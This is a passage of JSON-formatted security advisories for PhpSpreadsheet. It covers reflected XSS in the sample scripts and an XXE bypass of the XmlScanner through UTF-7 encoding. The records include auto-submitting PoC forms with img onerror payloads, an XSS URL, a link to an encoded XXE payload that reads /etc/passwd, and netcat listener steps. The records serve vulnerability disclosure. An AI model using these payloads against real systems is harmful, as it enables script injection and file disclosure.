3.7.0"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13djIzLTk5NnYtcTIyOc4ABC8k/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qMnhnLWNqY3gtNDY3N84ABC8j","url":"https://github.com/advisories/GHSA-j2xg-cjcx-4677","title":"PhpSpreadsheet allows unauthorized Reflected XSS in Currency.php file","description":"# Unauthorized Reflected XSS in `Currency.php` file\n\n**Product**: Phpspreadsheet\n**Version**: version 3.6.0\n**CWE-ID**: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n**CVSS vector v.3.1**: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N)\n**CVSS vector v.4.0**: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L)\n**Description**: using the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php` script, an attacker can perform XSS-type attack\n**Impact**: executing arbitrary JavaScript code in the browser\n**Vulnerable component**: the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php` file\n**Exploitation conditions**: an unauthorized user\n**Mitigation**: sanitization of the `currency` variable\n**Researcher**: Aleksey Solovev (Positive Technologies)\n\n# Research\n\nThe researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in `Currency.php` file) in Phpspreadsheet.\n\nThere is no sanitization in the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php` file, which leads to the possibility of a XSS attack.\nStrings are formed using the `currency` parameter without sanitization, controlled by an attacker.\n\n![fig9](https://github.com/user-attachments/assets/dfac3fbf-de42-42af-8163-b76f0c54da6c)\n\n*Figure 9.  A fragment of the query in which a string and a parameter are formed without sanitization*\n\nAn attacker can prepare a special HTML form that will be automatically sent to the vulnerable scenario.\n\n*Listing 5. HTML form that demonstrates the exploitation of the XSS vulnerability*\n\n```\n\u003chtml\u003e\n  \u003c!-- CSRF PoC - generated by Burp Suite Professional --\u003e\n  \u003cbody\u003e\n    \u003cform action=\"https://192.***.***.***/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php\" method=\"POST\"\u003e\n      \u003cinput type=\"hidden\" name=\"number\" value=\"1234\u0026#46;5678\" /\u003e\n      \u003cinput type=\"hidden\" name=\"currency\" value=\"\u0026#36;\u0026apos;\u0026quot;\u0026lt;img\u0026#32;src\u0026#61;1\u0026#32;onerror\u0026#61;alert\u0026#40;\u0026#41;\u0026gt;\" /\u003e\n      \u003cinput type=\"hidden\" name=\"decimals\" value=\"2\" /\u003e\n      \u003cinput type=\"hidden\" name=\"position\" value=\"1\" /\u003e\n      \u003cinput type=\"hidden\" name=\"spacing\" value=\"0\" /\u003e\n      \u003cinput type=\"hidden\" name=\"submit\" value=\"Display\u0026#32;Mask\" /\u003e\n      \u003cinput type=\"submit\" value=\"Submit request\" /\u003e\n    \u003c/form\u003e\n    \u003cscript\u003e\n      history.pushState('', '', '/');\n      document.forms[0].submit();\n    \u003c/script\u003e\n  \u003c/body\u003e\n\u003c/html\u003e\n```\n\nAfter sending the script provided in Listing 5, the XSS vulnerability is exploited. Figure 10 shows the execution of arbitrary JavaScript code during the submission of a POST form. \n\n\u003cimg width=\"428\" alt=\"fig10\" src=\"https://github.com/user-attachments/assets/2be8c94b-03ac-40d9-aa7a-9d326eb79335\" /\u003e\n\n*Figure 10. Executing arbitrary JavaScript code*\n\n# Credit\nThis vulnerability was discovered by **Aleksey Solovev (Positive Technologies)**","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-01-03T17:06:51.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L","references":["https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-j2xg-cjcx-4677","https://github.com/PHPOffice/PhpSpreadsheet/commit/700a80346be269af668914172bc6f4521982d0b4","https://nvd.nist.gov/vuln/detail/CVE-2024-56409","https://github.com/advisories/GHSA-j2xg-cjcx-4677"],"source_kind":"github","identifiers":["GHSA-j2xg-cjcx-4677","CVE-2024-56409"],"repository_url":"https://github.com/PHPOffice/PhpSpreadsheet","blast_radius":35.71473347501047,"created_at":"2025-01-03T18:08:21.611Z","updated_at":"2026-10-27T10:08:15.055Z","epss_percentage":0.0034,"epss_percentile":0.27277,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qMnhnLWNqY3gtNDY3N84ABC8j","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qMnhnLWNqY3gtNDY3N84ABC8j","packages":[{"ecosystem":"packagist","package_name":"phpoffice/phpexcel","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.8.2"}],"purl":null},{"ecosystem":"packagist","package_name":"phpoffice/phpspreadsheet","versions":[{"first_patched_version":"2.3.5","vulnerable_version_range":"\u003e= 2.2.0, \u003c= 2.3.4"},{"first_patched_version":"2.1.6","vulnerable_version_range":"\u003e= 2.0.0, \u003c= 2.1.5"},{"first_patched_version":"1.29.7","vulnerable_version_range":"\u003c= 1.29.6"},{"first_patched_version":"3.7.0","vulnerable_version_range":"\u003e= 3.0.0, \u003c 3.7.0"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qMnhnLWNqY3gtNDY3N84ABC8j/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jNmZ2LTd2aDgtMnJocs4ABC8i","url":"https://github.com/advisories/GHSA-c6fv-7vh8-2rhr","title":"PhpSpreadsheet allows unauthorized Reflected XSS in the Accounting.php file","description":"# Unauthorized Reflected XSS in the `Accounting.php` file\n\n**Product**: Phpspreadsheet\n**Version**: version 3.6.0\n**CWE-ID**: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n**CVSS vector v.3.1**: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N)\n**CVSS vector v.4.0**: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L)\n**Description**: using the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php` script, an attacker can perform a XSS-type attack\n**Impact**: executing arbitrary JavaScript code in the browser\n**Vulnerable component**: the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php` file\n**Exploitation conditions**: an unauthorized user\n**Mitigation**: sanitization of the currency variable\n**Researcher**: Aleksey Solovev (Positive Technologies)\n\n# Research\n\nThe researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in `Accounting.php` file) in Phpspreadsheet.\n\nThere is no sanitization in the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php` file, which leads to the possibility of a XSS attack.\nStrings are formed using the currency parameter without sanitization, which is controlled by the attacker.\n\n![fig7](https://github.com/user-attachments/assets/da0ee52d-2306-4770-a61d-bce4ba553f4f)\n\n*Figure 7. A fragment of the query in which a string and a parameter are formed without sanitization*\n\nAn attacker can prepare a special HTML form that will be automatically sent to the vulnerable scenario.\n\n*Listing 4. HTML form that demonstrates the exploitation of the XSS vulnerability*\n\n```\n\u003chtml\u003e\n  \u003c!-- CSRF PoC - generated by Burp Suite Professional --\u003e\n  \u003cbody\u003e\n    \u003cform action=\"https://192.***.***.***/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php\" method=\"POST\"\u003e\n      \u003cinput type=\"hidden\" name=\"number\" value=\"1234\u0026#46;5678\" /\u003e\n      \u003cinput type=\"hidden\" name=\"currency\" value=\"\u0026#36;\u0026lt;img\u0026#32;src\u0026#61;1\u0026#32;onerror\u0026#61;alert\u0026#40;\u0026#41;\u0026gt;\" /\u003e\n      \u003cinput type=\"hidden\" name=\"decimals\" value=\"2\" /\u003e\n      \u003cinput type=\"hidden\" name=\"position\" value=\"1\" /\u003e\n      \u003cinput type=\"hidden\" name=\"spacing\" value=\"0\" /\u003e\n      \u003cinput type=\"hidden\" name=\"submit\" value=\"Display\u0026#32;Mask\" /\u003e\n      \u003cinput type=\"submit\" value=\"Submit request\" /\u003e\n    \u003c/form\u003e\n    \u003cscript\u003e\n      history.pushState('', '', '/');\n      document.forms[0].submit();\n    \u003c/script\u003e\n  \u003c/body\u003e\n\u003c/html\u003e\n```\n\nAfter sending the script provided in Listing 4, the XSS vulnerability is exploited. Figure 8 shows the execution of arbitrary JavaScript code during the submission of a POST form.\n\n\u003cimg width=\"460\" alt=\"fig8\" src=\"https://github.com/user-attachments/assets/b009256e-61f7-4d72-8f6a-cc6e0efe2bb1\" /\u003e\n\n*Figure 8. Executing arbitrary JavaScript code*\n\n# Credit\nThis vulnerability was discovered by **Aleksey Solovev (Positive Technologies)**","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-01-03T17:06:23.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L","references":["https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-c6fv-7vh8-2rhr","https://github.com/PHPOffice/PhpSpreadsheet/commit/700a80346be269af668914172bc6f4521982d0b4","https://nvd.nist.gov/vuln/detail/CVE-2024-56366","https://github.com/advisories/GHSA-c6fv-7vh8-2rhr"],"source_kind":"github","identifiers":["GHSA-c6fv-7vh8-2rhr","CVE-2024-56366"],"repository_url":"https://github.com/PHPOffice/PhpSpreadsheet","blast_radius":35.71473347501047,"created_at":"2025-01-03T18:08:21.654Z","updated_at":"2026-10-27T10:08:15.055Z","epss_percentage":0.0034,"epss_percentile":0.27277,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jNmZ2LTd2aDgtMnJocs4ABC8i","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jNmZ2LTd2aDgtMnJocs4ABC8i","packages":[{"ecosystem":"packagist","package_name":"phpoffice/phpexcel","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.8.2"}],"purl":null},{"ecosystem":"packagist","package_name":"phpoffice/phpspreadsheet","versions":[{"first_patched_version":"2.3.5","vulnerable_version_range":"\u003e= 2.2.0, \u003c= 2.3.4"},{"first_patched_version":"2.1.6","vulnerable_version_range":"\u003e= 2.0.0, \u003c= 2.1.5"},{"first_patched_version":"1.29.7","vulnerable_version_range":"\u003c= 1.29.6"},{"first_patched_version":"3.7.0","vulnerable_version_range":"\u003e= 3.0.0, \u003c 3.7.0"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jNmZ2LTd2aDgtMnJocs4ABC8i/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qbXB4LTY4NnYtYzN3eM4ABC8h","url":"https://github.com/advisories/GHSA-jmpx-686v-c3wx","title":"PhpSpreadsheet allows unauthorized Reflected XSS in the constructor of the Downloader class","description":"# Unauthorized Reflected XSS in the constructor of the `Downloader` class\n\n**Product**: Phpspreadsheet\n**Version**: version 3.6.0\n**CWE-ID**: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n**CVSS vector v.3.1**: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N)\n**CVSS vector v.4.0**: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L)\n**Description**: using the `/vendor/phpoffice/phpspreadsheet/samples/download.php` script, an attacker can perform a XSS-type attack\n**Impact**: execution of arbitrary JavaScript code in the browser\n**Vulnerable component**: the constructor of the `Downloader` class\n**Exploitation conditions**: an unauthorized user\n**Mitigation**: sanitization of the `name` and `type` variables\n**Researcher**: Aleksey Solovev (Positive Technologies)\n\n# Research\n\nThe researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in the constructor of the `Downloader` class) in Phpspreadsheet.\n\nThe latest version (3.6.0) of the `phpoffice/phpspreadsheet` library was installed. The installation was carried out with the inclusion of examples.\n\n*Listing 1. Installing the `phpoffice/phpspreadsheet` library*\n```\n$ composer require phpoffice/phpspreadsheet --prefer-source\n```\n\nThe `./vendor/phpoffice/phpspreadsheet/samples/download.php` file processes the GET parameters `name` and `type`.\n\n![fig1](https://github.com/user-attachments/assets/78d5b3c7-e2ab-4487-98e2-a975f74a71c0)\n\n*Figure 1. The `./vendor/phpoffice/phpspreadsheet/samples/download.php` file accepts GET parameters.*\n\nConsider the constructor of the `Downloader` class, where GET parameters are passed. Error is displayed without sanitization using GET parameters transmitted from the user.\n\n![fig2](https://github.com/user-attachments/assets/00baf1f8-298c-4654-a3e4-b99cf8053eac)\n\n*Figure 2. Error is displayed without sanitization*\n\nWhen clicking on the following link, arbitrary JavaScript code will be executed.\n\n*Listing 2.*\n```\nhttps://192.***.***.***/vendor/phpoffice/phpspreadsheet/samples/download.php?name=%3Cimg%20src=1%20onerror=alert()%3E\u0026type=1\n```\n\nDemonstration of the execution of arbitrary JavaScript code.\n\n\u003cimg width=\"537\" alt=\"fig3\" src=\"https://github.com/user-attachments/assets/745d6e21-396f-4357-8ff8-e856adf15fee\" /\u003e\n\n*Figure 3. Executing arbitrary JavaScript code*\n\n\n# Credit\nThis vulnerability was discovered by **Aleksey Solovev (Positive Technologies)**","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-01-03T17:06:05.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L","references":["https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-jmpx-686v-c3wx","https://github.com/PHPOffice/PhpSpreadsheet/commit/700a80346be269af668914172bc6f4521982d0b4#diff-fbb0f53a5c68eeeffaa9ab35552c0b01740396f1a4045af5d2935ec2a62a7816","https://nvd.nist.gov/vuln/detail/CVE-2024-56365","https://github.com/advisories/GHSA-jmpx-686v-c3wx"],"source_kind":"github","identifiers":["GHSA-jmpx-686v-c3wx","CVE-2024-56365"],"repository_url":"https://github.com/PHPOffice/PhpSpreadsheet","blast_radius":35.71473347501047,"created_at":"2025-01-03T18:08:21.690Z","updated_at":"2026-10-27T10:08:15.055Z","epss_percentage":0.00332,"epss_percentile":0.26172,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qbXB4LTY4NnYtYzN3eM4ABC8h","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qbXB4LTY4NnYtYzN3eM4ABC8h","packages":[{"ecosystem":"packagist","package_name":"phpoffice/phpexcel","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.8.2"}],"purl":null},{"ecosystem":"packagist","package_name":"phpoffice/phpspreadsheet","versions":[{"first_patched_version":"2.3.5","vulnerable_version_range":"\u003e= 2.2.0, \u003c= 2.3.4"},{"first_patched_version":"2.1.6","vulnerable_version_range":"\u003e= 2.0.0, \u003c= 2.1.5"},{"first_patched_version":"1.29.7","vulnerable_version_range":"\u003c= 1.29.6"},{"first_patched_version":"3.7.0","vulnerable_version_range":"\u003e= 3.0.0, \u003c 3.7.0"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qbXB4LTY4NnYtYzN3eM4ABC8h/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14ODhnLWg5NTYtbTV4Z84ABC8c","url":"https://github.com/advisories/GHSA-x88g-h956-m5xg","title":"PhpSpreadsheet allows unauthorized Reflected XSS in `Convert-Online.php` file","description":"# Unauthorized Reflected XSS in `Convert-Online.php` file\n**Product**: Phpspreadsheet\n**Version**: version 3.6.0\n**CWE-ID**: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n**CVSS vector v.3.1**: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N)\n**CVSS vector v.4.0**: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L)\n**Description**: using the `/vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php` script, an attacker can perform a XSS-type attack \n**Impact**: executing arbitrary JavaScript code in the browser\n**Vulnerable component**: the `/vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php` file\n**Exploitation conditions**: an unauthorized user\n**Mitigation**: sanitization of the quantity variable\n**Researcher**: Aleksey Solovev (Positive Technologies)\n\n# Research\n\nThe researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in `Convert-Online.php` file) in Phpspreadsheet.\n\nThere is no sanitization in the `/vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php` file, which leads to the possibility of a XSS attack.\n\n![fig4](https://github.com/user-attachments/assets/71a6ab8b-db65-4e7e-bb36-39f0bd0f7077)\n\n*Figure 4. The message with the quantity parameter is displayed without sanitization*\n\n\nThe following figure shows a POST HTTP-request and a response to the server with the variable quantity, which is displayed in the response from the server without sanitization.\n\n\u003cimg width=\"460\" alt=\"fig5\" src=\"https://github.com/user-attachments/assets/022323c9-ca1e-44ea-9380-37ed7848e971\" /\u003e\n\n*Figure 5. In the server's response , the quantity variable is displayed without sanitization*\n\nAn attacker can prepare a special HTML form that will be automatically sent to the vulnerable scenario.\n\n*Listing 3. HTML form that demonstrates the exploitation of the XSS vulnerability*\n\n```\n\u003chtml\u003e\n  \u003c!-- CSRF PoC - generated by Burp Suite Professional --\u003e\n  \u003cbody\u003e\n    \u003cform action=\"https://192.***.***.***/vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php\" method=\"POST\"\u003e\n      \u003cinput type=\"hidden\" name=\"category\" value=\"Weight\u0026#32;and\u0026#32;Mass\" /\u003e\n      \u003cinput type=\"hidden\" name=\"quantity\" value=\"1\u0026#46;0\u0026lt;img\u0026#32;src\u0026#61;1\u0026#32;onerror\u0026#61;alert\u0026#40;\u0026#41;\u0026gt;\" /\u003e\n      \u003cinput type=\"hidden\" name=\"fromUnit\" value=\"g\" /\u003e\n      \u003cinput type=\"hidden\" name=\"toUnit\" value=\"g\" /\u003e\n      \u003cinput type=\"hidden\" name=\"submitx\" value=\"Convert\" /\u003e\n      \u003cinput type=\"submit\" value=\"Submit request\" /\u003e\n    \u003c/form\u003e\n    \u003cscript\u003e\n      history.pushState('', '', '/');\n      document.forms[0].submit();\n    \u003c/script\u003e\n  \u003c/body\u003e\n\u003c/html\u003e\n```\n\nAfter the user visits the attacker's resource, the form will be sent to the vulnerable scenario, which will lead to the execution of arbitrary code in the client's browser.\n \n\u003cimg width=\"389\" alt=\"fig6\" src=\"https://github.com/user-attachments/assets/e52b68c6-5a98-4db2-85ec-5bf37e4cb625\" /\u003e\n\n*Figure 6. Executing arbitrary JavaScript code*\n\n\n# Credit\nThis vulnerability was discovered by **Aleksey Solovev (Positive Technologies)**","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-01-03T16:05:26.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L","references":["https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-x88g-h956-m5xg","https://github.com/PHPOffice/PhpSpreadsheet/commit/700a80346be269af668914172bc6f4521982d0b4","https://nvd.nist.gov/vuln/detail/CVE-2024-56408","https://github.com/PHPOffice/PhpSpreadsheet/commit/9b9a55c7154daa7cd4095f618933c240508ba3c1","https://github.com/PHPOffice/PhpSpreadsheet/commit/a50ebfe118b3ae0ddaea1c48ac19dc38692f4abc","https://github.com/PHPOffice/PhpSpreadsheet/commit/b8fac55aa5cb7a3d514c7308378bb37bb711b25e","https://github.com/advisories/GHSA-x88g-h956-m5xg"],"source_kind":"github","identifiers":["GHSA-x88g-h956-m5xg","CVE-2024-56408"],"repository_url":"https://github.com/PHPOffice/PhpSpreadsheet","blast_radius":35.71473347501047,"created_at":"2025-01-03T17:08:56.891Z","updated_at":"2026-10-27T10:08:15.057Z","epss_percentage":0.00414,"epss_percentile":0.34514,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14ODhnLWg5NTYtbTV4Z84ABC8c","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14ODhnLWg5NTYtbTV4Z84ABC8c","packages":[{"ecosystem":"packagist","package_name":"phpoffice/phpexcel","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.8.2"}],"purl":null},{"ecosystem":"packagist","package_name":"phpoffice/phpspreadsheet","versions":[{"first_patched_version":"2.3.5","vulnerable_version_range":"\u003e= 2.2.0, \u003c= 2.3.4"},{"first_patched_version":"2.1.6","vulnerable_version_range":"\u003e= 2.0.0, \u003c= 2.1.5"},{"first_patched_version":"1.29.7","vulnerable_version_range":"\u003c= 1.29.6"},{"first_patched_version":"3.7.0","vulnerable_version_range":"\u003e= 3.0.0, \u003c 3.7.0"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14ODhnLWg5NTYtbTV4Z84ABC8c/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03Y2M5LWo0bXYtdmNqcM4ABBeQ","url":"https://github.com/advisories/GHSA-7cc9-j4mv-vcjp","title":"XXE in PHPSpreadsheet's XLSX reader","description":"### Summary\n\nThe [XmlScanner class](https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php) has a [scan](https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php#L72) method which should prevent XXE attacks.\n\nHowever, we found another bypass than the previously reported `CVE-2024-47873`, the regexes from the [findCharSet](https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php#L51) method, which is used for determining the current encoding can be bypassed by using a payload in the encoding UTF-7, and adding at end of the file a comment with the value `encoding=\"UTF-8\"` with `\"`, which is matched by the first regex, so that `encoding='UTF-7'` with single quotes `'` in the XML header is not matched by the second regex: \n\n```\n $patterns = [\n            '/encoding\\\\s*=\\\\s*\"([^\"]*]?)\"/',\n            \"/encoding\\\\s*=\\\\s*'([^']*?)'/\",\n        ];\n``` \n\nA payload for the `workbook.xml` file can for example be created with [CyberChef](https://gchq.github.io/CyberChef/#recipe=Encode_text('UTF-7%20(65000)')\u0026input=Pz4KPCFET0NUWVBFIGZvbyBbCiAgPCFFTEVNRU5UIGZvbyBBTlkgPgogIDwhRU5USVRZIHh4ZSBTWVNURU0gImZpbGU6Ly8vZXRjL3Bhc3N3ZCIgPl0%2BCjxmb28%2BJnh4ZTs8L2Zvbz4K).\nIf you open an Excel file containing the payload from the link above stored in the `workbook.xml` file with PhpSpreadsheet, you will receive an HTTP request on `127.0.0.1:12345`. You can test that an HTTP request is created by running the `nc -nlvp 12345` command before opening the file containing the payload with PhpSpreadsheet.\n\nTo create the payload you need:\n1. Create a file containing `\u003c?xml version = \"1.0\" encoding='UTF-7'` in an XML file\n2. Use the link attached above to create your XXE payload and add it to the XML file. \n3. Add `+ADw-+ACE---encoding=\"UTF-8\"--+AD4-` to the end of the XML file, which is matched by the first regex. \n\n### PoC\n\n[payload.xlsx](https://github.com/user-attachments/files/17375792/payload.xlsx)\n\n- Create a new folder.\n- Run the `composer require phpoffice/phpspreadsheet` command in the new folder.\n- Create an `index.php` file in that folder with the following content:\n```PHP\n\u003c?php\nrequire 'vendor/autoload.php';\n\nuse PhpOffice\\PhpSpreadsheet\\Spreadsheet;\nuse PhpOffice\\PhpSpreadsheet\\Writer\\Xlsx;\n\n$spreadsheet = new Spreadsheet();\n\n$inputFileType = 'Xlsx';\n$inputFileName = './payload.xlsx';\n\n/**  Create a new Reader of the type defined in $inputFileType  **/\n$reader = \\PhpOffice\\PhpSpreadsheet\\IOFactory::createReader($inputFileType);\n/**  Advise the Reader that we only want to load cell data  **/\n$reader-\u003esetReadDataOnly(true);\n\n$worksheetData = $reader-\u003elistWorksheetInfo($inputFileName);\n\nforeach ($worksheetData as $worksheet) {\n\n$sheetName = $worksheet['worksheetName'];\n\necho \"\u003ch4\u003e$sheetName\u003c/h4\u003e\";\n/**  Load $inputFileName to a Spreadsheet Object  **/\n$reader-\u003esetLoadSheetsOnly($sheetName);\n$spreadsheet = $reader-\u003eload($inputFileName);\n\n$worksheet = $spreadsheet-\u003egetActiveSheet();\nprint_r($worksheet-\u003etoArray());\n\n}\n```\n- Run the following command: `php -S 127.0.0.1:8080`\n- Add the [payload.xlsx](https://github.com/user-attachments/files/17375792/payload.xlsx) file in the folder and open \u003chttps://127.0.0.1:8080\u003e in a browser. You will see an HTTP request on netcat \u003chttp://127.0.0.1:12345/ext.dtd\u003e.\n\n### Impact\n\nAn attacker can bypass the sanitizer and achieve an [XXE attack](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing).","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-11-18T20:01:46.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","references":["https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-7cc9-j4mv-vcjp","https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing","https://nvd.nist.gov/vuln/detail/CVE-2024-48917","https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php","https://github.com/advisories/GHSA-7cc9-j4mv-vcjp"],"source_kind":"github","identifiers":["GHSA-7cc9-j4mv-vcjp","CVE-2024-48917"],"repository_url":"https://github.com/PHPOffice/PhpSpreadsheet","blast_radius":0.0,"created_at":"2024-11-18T21:06:55.743Z","updated_at":"2026-10-27T10:08:26.692Z","epss_percentage":0.00728,"epss_percentile":0.53598,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03Y2M5LWo0bXYtdmNqcM4ABBeQ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03Y2M5LWo0bXYtdmNqcM4ABBeQ","packages":[{"ecosystem":"packagist","package_name":"phpoffice/phpexcel","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.8.2"}],"purl":null},{"ecosystem":"packagist","package_name":"phpoffice/phpspreadsheet","versions":[{"first_patched_version":"3.4.0","vulnerable_version_range":"\u003e= 3.3.0, \u003c 3.4.0"},{"first_patched_version":"2.3.2","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.3.2"},{"first_patched_version":"2.1.3","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.1.3"},{"first_patched_version":"1.29.4","vulnerable_version_range":"\u003c 1.29.4"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03Y2M5LWo0bXYtdmNqcM4ABBeQ/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qdzR4LXY2OWYtaGg1d84ABBeP","url":"https://github.com/advisories/GHSA-jw4x-v69f-hh5w","title":"XmlScanner bypass leads to XXE","description":"### Summary\nThe [XmlScanner class](https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php) has a [scan](https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php#L72) method which should prevent XXE attacks.\n\nHowever, the regexes used in the `scan` method and the [findCharSet](https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php#L51) method can be bypassed by using UCS-4 and encoding guessing as described in \u003chttps://www.w3.org/TR/xml/#sec-guessing-no-ext-info\u003e.\n\n\n### Details\nThe `scan` method converts the input in the UTF-8 encoding if it is not already in the UTF-8 encoding with the [`toUtf8` method](https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php#L76).\nThen, the `scan` method uses a [regex](https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php#L79) which would also work with 16-bit encoding.\n\nHowever, the regexes from the [findCharSet](https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php#L51) method, which is used for determining the current encoding can be bypassed by using an encoding which has more than 8 bits, since the regex does not expect null bytes, and the XML library will also autodetect the encoding as described in \u003chttps://www.w3.org/TR/xml/#sec-guessing-no-ext-info\u003e.\n\nA payload for the `workbook.xml` file can for example be created with 